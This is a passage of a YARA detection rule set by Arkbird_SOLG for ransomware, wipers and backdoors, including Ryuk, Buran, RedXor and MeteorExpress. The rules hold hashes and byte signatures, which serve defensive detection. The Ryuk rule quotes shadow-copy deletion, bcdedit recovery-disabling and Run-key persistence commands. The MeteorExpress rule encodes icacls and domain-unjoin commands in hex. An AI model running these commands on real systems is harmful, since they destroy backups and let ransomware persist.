ff 4d c6 85 aa f6 ff ff 20 c6 85 ab f6 ff ff 1f c6 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 100KB and all of ( $s* )
}

rule ARKBIRD_SOLG_MAL_Pseudomanuscrypt_Dec_2021_1 : FILE
{
	meta:
		description = "Detect PseudoManuscrypt loader dropped by the installer"
		author = "Arkbird_SOLG"
		id = "8784baa0-c52c-5ee0-9a92-9b6457df61ed"
		date = "2021-12-16"
		modified = "2021-12-17"
		reference = "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-PseudoManuscrypt-a-mass-scale-spyware-attack-campaign-En.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-16/MAL_PseudoManuscrypt_Dec_2021_1.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "e304323ed26c7040c97efa8041bcd3eb2f6d0caeba76d6674fc2947d7850e830"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "19627bcee38a4ca5ae9a60c71ee7a2e388ba99fb8b229700a964a084db236e1f"
		hash2 = "be94df270acfc8e5470fa161b808d0de1c9e85efeeff4a5d82f5fd09629afa8e"
		hash3 = "de965e33dff58cf011106feacef2f804d9e35d00b8b5ff7064e5b7afee46d72c"
		hash4 = "e32899bef78f6af4a155f738298e042f72fe5e643ec934f8778180f71e511727"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 7b 47 36 35 37 59 53 30 36 2d 30 31 36 44 2d 34 43 30 52 2d 36 30 32 32 2d 46 47 45 32 43 33 32 32 36 36 37 46 7d 00 00 4d 61 63 68 69 6e 65 47 75 69 64 }
		$s2 = { 45 ?? 5c 43 4c 53 c7 45 ?? 49 44 5c 25 c7 45 ?? 73 00 00 00 c7 45 ?? 47 6c 6f 62 c7 45 ?? 61 6c }
		$s3 = { 56 69 72 74 c7 [2-4] 75 61 6c 41 c7 [2-4] 6c 6c 6f 63 ff 15 }
		$s4 = { 4c 6f 61 64 65 72 2e 64 6c 6c 00 53 65 72 76 69 63 65 4d 61 69 6e }
		$s5 = { 2e 72 73 72 63 24 30 31 00 00 00 00 a0 ?? 00 00 ?? 04 00 00 2e 72 73 72 63 24 30 32 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 3KB and filesize < 30KB and all of ( $s* )
}

rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_1 : FILE
{
	meta:
		description = "Detect RYUK ransomware (Sept_2020_V1)"
		author = "Arkbird_SOLG"
		id = "7ade43ef-cd31-5308-b5ab-71f04d27018b"
		date = "2020-10-25"
		modified = "2020-10-27"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_1.yar#L1-L29"
		license_url = "N/A"
		logic_hash = "b70eb2e5f58076ea8d4d1370649358acf68f3119cb2be6d5ef0a302bb3bf5d1e"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b"
		hash2 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8"
		hash3 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399"
	strings:
		$c1 = "\" /TR \"C:\\Windows\\System32\\cmd.exe /c for /l %x in (1,1,50) do start wordpad.exe /p " fullword ascii
		$c2 = "cmd.exe /c \"bootstatuspolicy ignoreallfailures\"" fullword ascii
		$c3 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
		$c4 = "cmd.exe /c \"WMIC.exe shadowcopy delete\"" fullword ascii
		$c5 = "cmd.exe /c \"vssadmin.exe Delete Shadows /all /quiet\"" fullword ascii
		$c6 = "cmd.exe /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"" fullword ascii
		$r1 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"" fullword wide
		$r2 = "/C REG DELETE \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /f" fullword wide
		$ref1 = "lsaas.exe" fullword wide
		$ref2 = "Ncsrss.exe" fullword wide
		$ref3 = "$WGetCurrentProcess" fullword ascii
		$ref4 = "lan.exe" fullword wide
		$ref5 = "explorer.exe" fullword wide
		$ref6 = "Ws2_32.dll" fullword ascii
		$p1 = "\\users\\Public\\sys" fullword wide
		$p2 = "\\Documents and Settings\\Default User\\sys" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $c* ) and 1 of ( $r* ) and 4 of ( $ref* ) and 1 of ( $p* )
}

rule ARKBIRD_SOLG_Ran_Buran_Oct_2020_1 : FILE
{
	meta:
		description = "Detect Buran ransomware"
		author = "Arkbird_SOLG"
		id = "dbdc251e-9ac6-5de1-8a72-72ac159daf4c"
		date = "2020-11-05"
		modified = "2020-11-06"
		reference = "https://twitter.com/JAMESWT_MHT/status/1323956405976600579"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-06/Buran/Ran_Buran_Oct_2020_1.yar#L1-L22"
		license_url = "N/A"
		logic_hash = "a6984d21451c980d001e040325c66b547060653ac97556bc379da40f3ab6a70a"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "66fc6e71a9c6be1f604c4a2d0650914f67c45d894fd1f76913e463079d47a8af"
		hash2 = "93fe277d54f4baac5762412dda6f831bf6a612f166daade7c23f6b38feac94fb"
		hash3 = "b3302c4a9fd06d9fde96c9004141f80e0a9107a9dead1659e77351f1b1c87cf6"
		hash4 = "eb920e0fc0c360abb901e04dce172459b63bbda3ab8152350885db4b44d63ce5"
		hash5 = "f247ae6db52989c9a598c3c7fbc1ae2db54f5c65be862880e11578b8583731cb"
		hash6 = "29cdd5206422831334afa75c113b615bb8e0121254dd9a2196703ce6b1704ff8"
	strings:
		$s1 = "!!! LOCALPUBKEY !!!" fullword ascii
		$s2 = "!!! ENCLOCALPRIVKEY !!!" fullword ascii
		$s3 = "!!! D !!!" fullword ascii
		$s4 = { 8b 85 74 fd ff ff 8b 40 04 85 c0 74 05 83 e8 04 8b 00 8d 55 f4 92 e8 c1 aa fe ff 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8d 45 f4 e8 d3 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 0c 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 45 f4 8b 95 74 fd ff ff 8b 52 04 e8 da a7 fe ff 0f 84 7d 07 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 74 fd ff ff 83 c0 04 e8 63 a8 fe ff 8b d0 8b cf 8b 85 50 fd ff ff 8b 38 ff 57 10 6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 50 fd ff ff 8b 10 ff 12 52 50 8b c7 99 03 85 48 fd ff ff 13 95 4c fd ff ff 3b 54 24 04 75 03 3b 04 24 5a 58 0f 85 dc 06 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 8b 85 50 fd ff ff e8 e6 cc fe ff 8b 85 74 fd ff ff 8b 40 28 85 c0 74 09 83 f8 0a 0f 85 00 01 00 00 8b 85 74 fd ff ff 83 c0 1c e8 fe a2 fe ff 8b 85 74 fd ff ff 83 c0 20 e8 f0 a2 fe ff c7 85 44 fd ff ff 01 00 00 00 b8 00 01 00 00 e8 78 44 ff ff 8b d0 8d 85 10 fd ff ff e8 b7 a4 fe ff 8b 95 10 fd ff ff 8b 85 74 fd ff ff 83 c0 20 e8 63 a5 fe ff 83 bd 44 fd ff ff 10 7f 2b b8 00 01 00 00 e8 44 44 ff ff 8b d0 8d 85 0c fd ff ff e8 83 a4 fe ff 8b 95 0c fd ff ff 8b 85 74 fd ff ff 83 c0 1c e8 2f a5 fe ff ff 85 44 fd ff ff 83 bd 44 fd ff ff 21 75 92 8b 85 74 fd ff ff 83 c0 24 50 8b 85 74 fd ff ff 8b 48 1c 8b 85 74 fd ff ff 8b 50 20 8d 85 08 fd ff ff e8 45 a5 fe ff 8b 85 08 fd ff ff 8b 95 74 fd ff ff 8d 4a 0c 8b 95 74 fd ff ff 83 c2 14 e8 c8 8f ff ff 8d 95 04 fd ff ff 8b 85 74 fd ff ff 8b 40 24 e8 0c 5c ff ff 8b 95 04 fd ff ff 8b 85 74 fd ff ff 83 c0 24 e8 60 a2 fe ff 8b 85 74 fd ff ff 83 78 28 0a 75 0d 8b 85 74 fd ff ff 33 d2 89 50 28 eb 09 8b 85 74 fd ff ff ff 40 28 8b c3 99 52 50 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 54 b2 fe ff 89 85 38 fd ff ff 89 95 3c fd ff ff 8b c3 99 52 50 8b 85 38 fd ff ff 8b 95 3c fd ff ff e8 0e b2 fe ff 52 50 8b c6 99 3b 54 24 04 75 09 3b 04 24 5a 58 73 18 eb 04 5a 58 7d 12 8b c6 99 f7 fb 99 89 85 38 fd ff ff 89 95 3c fd ff ff 83 bd 3c fd ff ff 00 75 07 83 bd 38 fd ff ff 00 74 31 ff b5 3c fd ff ff ff b5 38 fd ff ff 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 d9 b1 fe ff 89 85 30 fd ff ff 89 95 34 fd ff ff 89 9d 2c fd ff ff eb 38 c7 85 38 fd ff ff 01 00 00 00 c7 85 3c fd ff ff 00 00 00 00 8b 85 48 fd ff ff 89 85 30 fd ff ff 8b 85 4c fd ff ff 89 85 34 fd ff ff 8b 85 48 fd ff ff 89 85 2c fd ff ff 8d 45 f0 e8 05 a1 fe ff b2 01 a1 98 6f 40 00 e8 61 94 fe ff 89 85 1c fd ff ff 8b 9d 38 fd ff ff 85 db 0f 8e 9f 00 00 00 c7 85 44 fd ff ff 01 00 00 00 ff b5 34 fd ff ff ff b5 30 fd ff ff 8b 85 44 fd ff ff 48 99 e8 1e b1 fe ff 89 85 20 fd ff ff 89 95 24 fd ff ff 8d 95 20 fd ff ff b9 08 00 00 00 8b 85 1c fd ff ff 8b 30 ff 56 10 ff b5 24 fd ff ff ff b5 20 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8d 45 f4 8b 95 2c fd ff ff e8 19 a7 fe ff 8d 45 f4 e8 3d a5 fe ff 8b d0 8b 8d 2c fd ff ff 8b 85 50 fd ff ff e8 e6 ca fe ff 8d 45 f0 8b 55 f4 e8 fb a2 fe ff ff 85 44 fd ff ff 4b 0f 85 6b ff ff ff 6a 00 6a 00 33 d2 8b 85 1c fd ff ff 8b 08 ff 51 18 8d 45 ec e8 2d a0 fe ff 8b 85 1c fd ff ff 8b 10 ff 12 89 85 18 fd ff ff 8d 45 ec 8b 95 18 fd ff ff e8 af a6 fe ff 8d 45 ec e8 d3 a4 fe ff 8b d0 8b 8d 18 fd ff ff 8b 85 1c fd ff ff 8b 18 ff 53 }
		$s5 = ": :(:,:0:4:8:<:@:D:H:\\:|:" fullword ascii
		$s6 = " remove '.' from {.$DEFINE ComplexBraces}" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 100KB and 4 of them
}

rule ARKBIRD_SOLG_RAN_Piton_Nov_2021_1 : FILE
{
	meta:
		description = "Detect Piton variant (rebuild from the Babuk leaks)"
		author = "Arkbird_SOLG"
		id = "433d0692-553b-5efe-84e4-134e99342fe5"
		date = "2021-11-03"
		modified = "2021-11-04"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-04/RAN_Piton_Nov_2021_1.yara#L1-L18"
		license_url = "N/A"
		logic_hash = "cd8287b3be0f8f9338cf6ba8eb24dd9a6f91a54c984a635e1103f7e6028cbf3c"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "71936bc3ee40c7ea678889d2ad5fa7eb39401752cd58988ce462f9d4048578ac"
		hash2 = "77c7839c7e8d4aaf52e33a2f29db8459381b5cc3b2700072305a8bae5e0762a9"
		hash3 = "ae6020a06d2a95cbe91b439f4433e87d198547dec629ab0900ccfe17e729cff1"
		tlp = "white"
		adversary = "RAAS"
	strings:
		$s1 = { 68 38 3c 40 00 6a 00 68 01 00 1f 00 ff 15 c4 50 41 00 85 c0 75 11 68 58 3c 40 00 6a 00 6a 00 ff 15 98 50 41 00 eb 0a e9 b0 00 00 00 e9 ab 00 00 00 c7 45 a8 00 00 00 00 68 78 3c 40 00 8b 55 c8 52 8b 45 e8 50 e8 86 9b ff ff 83 c4 0c 0f b6 c8 83 f9 01 75 0c 8b 55 a8 52 e8 02 f9 ff ff 83 c4 04 e8 ea 94 ff ff ff 15 04 51 41 00 89 45 c0 83 7d c0 00 74 3f b8 41 00 00 00 66 89 45 f0 eb 0c 66 8b 4d f0 66 83 c1 01 66 89 4d f0 0f b7 55 f0 83 fa 5a 7f 1f 8b 45 c0 83 e0 01 74 }
		$s2 = { 68 80 16 40 00 ff 15 38 50 41 00 89 45 f0 68 90 16 40 00 8b 45 f0 50 ff 15 34 50 41 00 89 45 fc 83 7d fc 00 74 07 8d 4d f8 51 ff 55 fc 6a 00 6a 00 68 b0 16 40 00 68 08 17 40 00 68 18 17 40 00 6a 00 ff 15 4c 51 41 00 e8 9d 03 00 00 85 c0 74 2d 68 24 17 40 00 ff 15 38 50 41 00 89 45 ec 68 34 17 40 00 8b 55 ec 52 ff 15 34 50 41 00 89 45 f4 83 7d }
		$s3 = { 81 ec f4 02 00 00 c7 85 7c ff ff ff 90 15 40 00 c7 45 80 98 15 40 00 c7 45 84 a0 15 40 00 c7 45 88 a8 15 40 00 c7 45 8c b0 15 40 00 c7 45 90 b8 15 40 00 c7 45 94 c0 15 40 00 c7 45 98 c8 15 40 00 c7 45 9c d0 15 40 00 c7 45 a0 d8 15 40 00 c7 45 a4 e0 15 40 00 c7 45 a8 e8 15 40 00 c7 45 ac f0 15 40 00 c7 45 b0 f8 15 40 00 c7 45 b4 00 16 40 00 c7 45 b8 08 16 40 00 c7 45 bc 10 16 40 00 c7 45 c0 18 16 40 00 c7 45 c4 20 16 40 00 c7 45 c8 28 16 40 00 c7 45 cc 30 16 40 00 c7 45 d0 38 16 40 00 c7 45 d4 40 16 40 00 c7 45 d8 48 16 40 00 c7 45 dc 50 16 40 00 c7 45 e0 58 16 40 00 c7 45 fc 00 00 00 00 c7 45 e4 78 00 00 00 c7 45 e8 00 00 00 00 c7 45 f4 00 00 00 00 eb 09 8b 45 f4 83 c0 01 89 45 f4 83 7d f4 1a 7d 35 8b 4d f4 8b 94 8d 7c ff ff ff 52 ff 15 f8 50 41 00 83 f8 01 75 1d 8b 45 fc 8b 4d f4 8b 94 8d 7c ff ff ff 89 94 85 14 ff ff ff 8b 45 fc 83 c0 01 89 45 fc eb bc b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff 68 00 00 01 00 e8 00 e8 00 00 83 c4 04 89 45 f8 83 7d f8 00 0f 84 d4 00 00 00 68 00 00 01 00 e8 e6 e7 00 00 83 c4 04 89 45 ec 83 7d ec 00 0f 84 ae 00 00 00 68 00 80 00 00 8b 4d f8 51 ff 15 08 51 41 00 89 45 f0 83 7d fc 00 76 63 8d 55 e8 52 8b 45 e4 50 8d 8d 0c fd ff ff 51 8b 55 f8 52 ff 15 f4 50 41 00 85 c0 74 26 8d 85 0c fd ff ff 50 ff 15 40 50 41 00 83 f8 03 75 14 b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff eb 22 8b 4d fc 83 e9 01 89 4d fc 8b 55 f8 52 8b 45 fc 8b 8c 85 14 ff ff ff 51 ff 15 44 50 41 00 eb 02 eb 1b 68 00 80 00 00 8b 55 f8 52 8b 45 f0 50 ff 15 00 51 41 00 85 c0 0f 85 7a ff ff ff 8b 4d f0 51 ff 15 fc 50 41 00 8b 55 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 30KB and all of them
}

rule ARKBIRD_SOLG_MAL_Redxor_Feb_2021_1 : FILE
{
	meta:
		description = "Detect RedXor backdoor (Feb 2021)"
		author = "Arkbird_SOLG"
		id = "10ae10b7-b351-5dda-9408-aa01a40e3d6a"
		date = "2021-03-14"
		modified = "2021-05-24"
		reference = "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-23/RedXor/MAL_RedXor_Feb_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "b4e3ea24bb19abe7065ed5fc94f65e68ea84b11da7b45936ee991ef6aac6d33d"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919"
		hash2 = "0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559"
		tlp = "White"
		adversary = "Winnti"
	strings:
		$seq1 = { 0f b7 05 [2] 20 00 66 85 c0 0f 85 cd 00 00 00 48 8d 85 ?? ff ff ff be 10 00 00 00 48 89 c7 e8 [2] ff ff 66 c7 85 ?? ff ff ff 02 00 0f b7 05 [2] 20 00 0f b7 c0 89 c7 e8 [2] ff ff 66 89 85 ?? ff ff ff 48 8b 45 d8 48 89 c7 e8 [2] ff ff 89 85 ?? ff ff ff ba 00 00 00 00 be 01 00 00 00 bf 02 00 00 00 e8 [2] ff ff 89 85 ?? ff ff ff 83 bd ?? ff ff ff ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
		$seq2 = { 48 8d 8d ?? ff ff ff 8b 85 ?? ff ff ff ba 10 00 00 00 48 89 ce 89 c7 e8 [2] ff ff 83 f8 ff 75 47 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
		$seq3 = { 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8b 95 [2] fd ff 48 8d 85 [2] fd ff 48 89 ce 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff 8b 85 30 ff ff ff 48 63 d8 8b 85 30 ff ff ff 48 63 c8 48 8d 95 [2] fd ff 48 8d 85 [2] fe ff 49 89 d8 be [2] 40 00 48 89 c7 e8 [2] ff ff 89 85 2c ff ff ff 8b 85 2c ff ff ff 48 63 d0 48 8d 9d [2] fe ff 8b 85 ?? ff ff ff b9 00 00 00 00 48 89 de 89 c7 e8 [2] ff ff 48 83 f8 ff 75 21 8b 85 ?? ff ff ff 89 c7 e8 [2] ff ff bf 0a 00 00 00 e8 [2] ff ff b8 00 00 00 }
		$seq4 = { c7 45 a8 01 00 00 00 c7 45 ac 01 00 00 00 c7 05 [2] 20 00 00 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba ?? 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 48 89 c2 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff 48 89 ce 89 c7 e8 [2] ff ff 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff 8b 85 ?? ce fd ff 48 8d 8d [2] fd ff ba ff 0f 00 00 48 89 ce 89 c7 e8 [2] ff ff 89 85 40 ff ff ff 83 bd 40 ff ff ff ff 75 0a c7 85 40 ff ff ff 00 00 00 00 48 8d 85 [2] fd ff be [2] 40 00 48 89 c7 e8 [2] ff ff 48 85 c0 0f 84 d0 00 00 00 48 8d 85 [2] fd ff be 00 10 00 00 48 89 c7 e8 [2] ff ff b9 [2] 40 00 48 8d 85 [2] fd ff ba 02 00 00 00 48 89 ce 48 89 c7 e8 [2] ff ff e8 [2] ff ff 89 c7 e8 [2] ff ff 48 89 45 e8 be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff 48 8b 45 e8 48 8b 00 48 89 c6 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff be 00 02 00 00 bf [2] 60 00 e8 [2] ff ff bb [2] 40 00 48 8d 95 [2] fd ff 48 8d 85 [2] fd ff 41 b8 [2] 60 00 48 89 d1 ba [2] 60 00 48 89 de 48 89 c7 b8 00 00 00 00 e8 [2] ff ff 48 8d 85 [2] fd ff 48 89 c7 e8 [2] ff ff 89 85 30 ff ff ff c7 45 ac 00 00 00 }
		$seq5 = { 55 48 89 e5 53 89 fb 89 f0 48 89 55 d8 89 4d d4 88 5d e4 88 45 e0 0f b6 45 e4 88 45 f2 0f b6 45 e0 88 45 f3 c7 45 f4 00 00 00 00 c7 45 f4 00 00 00 00 eb 29 8b 45 f4 48 98 48 03 45 d8 8b 55 f4 48 63 d2 48 03 55 d8 0f b6 0a 0f b6 55 f2 31 ca 88 10 0f b6 45 f3 00 45 f2 83 45 f4 01 8b 45 f4 3b 45 d4 7c cf b8 00 00 00 00 5b }
		$seq6 = { 55 48 89 e5 53 48 81 ec 68 0d 00 00 48 89 bd d8 f2 ff ff c7 45 90 31 32 37 2e c7 45 94 30 2e 30 2e 48 c7 45 98 31 00 00 00 c7 45 a0 00 00 00 00 c7 85 70 ff ff ff 30 30 2d 30 c7 85 74 ff ff ff 30 2d 30 30 c7 85 78 ff ff ff 2d 30 30 2d c7 85 7c ff ff ff 30 30 2d 30 c7 45 80 30 00 00 00 48 c7 45 a8 [2] 40 00 }
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 25KB and all of ( $seq* )
}

rule ARKBIRD_SOLG_WIP_Meteorexpress_Aug_2021_1 : FILE
{
	meta:
		description = "Detect MeteorExpress/BreakWin wiper"
		author = "Arkbird_SOLG"
		id = "6dffc8c9-ccd0-5cf3-8f3c-38adad8508b2"
		date = "2021-08-06"
		modified = "2021-08-07"
		reference = "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-07/BreakWin/WIP_MeteorExpress_Aug_2021_1.yara#L1-L26"
		license_url = "N/A"
		logic_hash = "80e40479d699b988d1282e407edd51b5e3ea796ebf380d82f5a5aafaacafe75d"
		score = 75
		quality = 71
		tags = "FILE"
		hash1 = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b"
		hash2 = "074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce"
		hash3 = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4"
		hash4 = "9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 8d 04 2a 8b f1 3b c8 0f 42 f0 33 c9 8b c6 83 c0 01 0f 92 c1 f7 d9 0b c8 e8 42 00 00 00 53 68 18 2c 41 00 50 89 44 24 1c 89 5f 10 89 77 14 e8 aa 20 00 00 8b 74 24 1c 83 c4 0c c6 04 1e 00 83 fd 10 72 0a 8b 0f 8d 55 01 e8 50 00 00 00 5d 89 37 8b c7 5f 5e 5b 59 }
		$s2 = { 68 cc 00 00 00 b8 [3] 00 e8 [2] 00 00 8b f1 89 75 8c 83 4d d4 ff 33 c0 83 4d d8 ff 6a 44 5f 57 50 89 45 dc 89 45 e0 8d 45 90 50 e8 [3] 00 8d 46 1c 89 7d 90 83 c4 0c 83 78 14 08 72 02 8b 00 89 45 98 8d 7d e4 33 c0 83 c6 04 ab 8b ce 83 7e 14 08 ab ab 72 02 8b 0e 8b 46 10 8d 04 41 8b ce 72 02 8b 0e ff 75 8c 33 d2 50 51 8d 4d e4 89 55 e4 89 55 e8 89 55 ec e8 [2] fd ff 33 d2 89 55 fc 8b 45 e8 89 55 88 39 45 ec 74 0d 33 c9 66 89 08 83 c0 02 89 45 e8 eb 0f 8d 4d 88 51 50 8d 4d e4 e8 3c 02 00 00 33 d2 8b 7d 8c 8d 4d d4 51 8d 4d 90 51 8b 47 34 52 52 52 52 52 52 ff 75 e4 52 ff 70 04 ff 15 08 [2] 00 85 c0 74 28 ff 75 d8 8d 4f 3c e8 [2] ff ff ff 75 d4 8d }
		$s3 = { 8b ec 83 e4 f8 83 ec 7c a1 14 50 41 00 33 c4 89 44 24 78 8b 45 0c 8b 4d 08 89 0c 24 53 56 57 83 e8 01 0f 84 05 01 00 00 83 e8 01 0f 84 23 01 00 00 83 e8 0d 74 15 ff 75 14 ff 75 10 ff 75 0c 51 ff 15 2c e1 40 00 e9 0b 01 00 00 8d 44 24 40 c6 05 f4 63 41 00 01 50 51 ff 15 30 e1 40 00 8b d8 6a 00 89 5c 24 18 ff 15 10 e0 40 00 8b f0 8d 44 24 48 56 50 53 ff 15 28 e1 40 00 56 ff 15 0c e0 40 00 83 3d f8 63 41 00 00 0f 84 8d 00 00 00 53 ff 15 04 e0 40 00 ff 35 f8 63 41 00 89 44 24 14 50 ff 15 00 e0 40 00 8b d8 8d 44 24 18 50 6a 18 ff 35 f8 63 41 00 ff 15 14 e0 40 00 8b 7c 24 20 8d 44 24 30 8b 74 24 1c 50 ff 74 24 10 ff 15 44 e1 40 00 8b 44 24 38 2b c6 8b 74 24 10 68 20 00 cc 00 99 2b c2 6a 00 8b c8 8b 44 24 44 6a 00 56 ff 74 24 30 2b c7 d1 f9 ff 74 24 30 99 2b c2 d1 f8 50 51 ff 74 24 34 ff 15 18 e0 40 00 53 56 ff 15 00 e0 40 00 56 ff 15 08 e0 40 00 8d 44 24 40 }
		$s4 = { 38 1b 38 26 38 2e 38 39 38 3f 38 4a 38 50 38 5e 38 67 38 6c 38 79 38 7e 38 ec 38 }
		$s5 = { 55 8b ec 51 a1 60 57 41 00 83 f8 fe 75 0a e8 8e 0d 00 00 a1 60 57 41 00 83 f8 ff 75 07 b8 ff ff 00 00 eb 1b 6a 00 8d 4d fc 51 6a 01 8d 4d 08 51 50 ff 15 50 e0 40 00 85 c0 74 e2 66 8b 45 08 8b }
		$s6 = { 69 63 61 63 6c 73 2e 65 78 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 79 73 74 65 6d 44 61 74 61 5c 53 2d 31 2d 35 2d 31 38 5c 52 65 61 64 4f 6e 6c 79 22 20 2f 72 65 73 65 74 20 2f 54 }
		$s7 = { 77 6d 69 63 20 63 6f 6d 70 75 74 65 72 73 79 73 74 65 6d 20 77 68 65 72 65 20 6e 61 6d 65 3d 22 25 63 6f 6d 70 75 74 65 72 6e 61 6d 65 25 22 20 63 61 6c 6c 20 75 6e 6a 6f 69 6e 64 6f 6d 61 69 6e 6f 72 77 6f 72 6b 67 72 6f 75 70 }
		$s8 = { 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 6a ?? 68 [3] 00 b9 [3] 00 e8 [2] 00 00 68 [3] 00 e8 [2] 03 00 59 c3 }
		$s9 = { 8b 55 ?? 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 08 ff 15 ?? ?? 47 00 8b d0 8d 4d ?? e8 ?? ?? fe ff c6 45 fc 09 8d 45 ?? 50 8d 45 ?? 50 8d 4d ?? e8 ?? ?? ?? ff 83 ec 0c 8b cc 89 65 ?? 51 ff 70 04 ff 30 e8 ?? ?? ?? ff c6 45 fc 0a 83 ec 18 8b cc 89 65 ?? 68 ?? ?? 48 00 e8 ?? ?? ?? ff c6 45 fc 0b c6 45 fc 09 8d }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 25KB and 4 of ( $s* )
}


rule ARKBIRD_SOLG_RAN_Fuxsocy_May_2021_1 : FILE
{
	meta:
		description = "Detect FuxSocy ransomware"
		author = "Arkbird_SOLG"
		id = "2420c2fa-bc94-51a6-87ab-4e8d226fdd23"
		date = "2020-05-09"
		modified = "2021-05-09"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-09/FuxSocy/RAN_FuxSocy_May_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "ab34f95d2b12bdf2d362538e880301542c3308fff427cfb5ee59e9dca89ec033"
		score = 75
		quality = 75
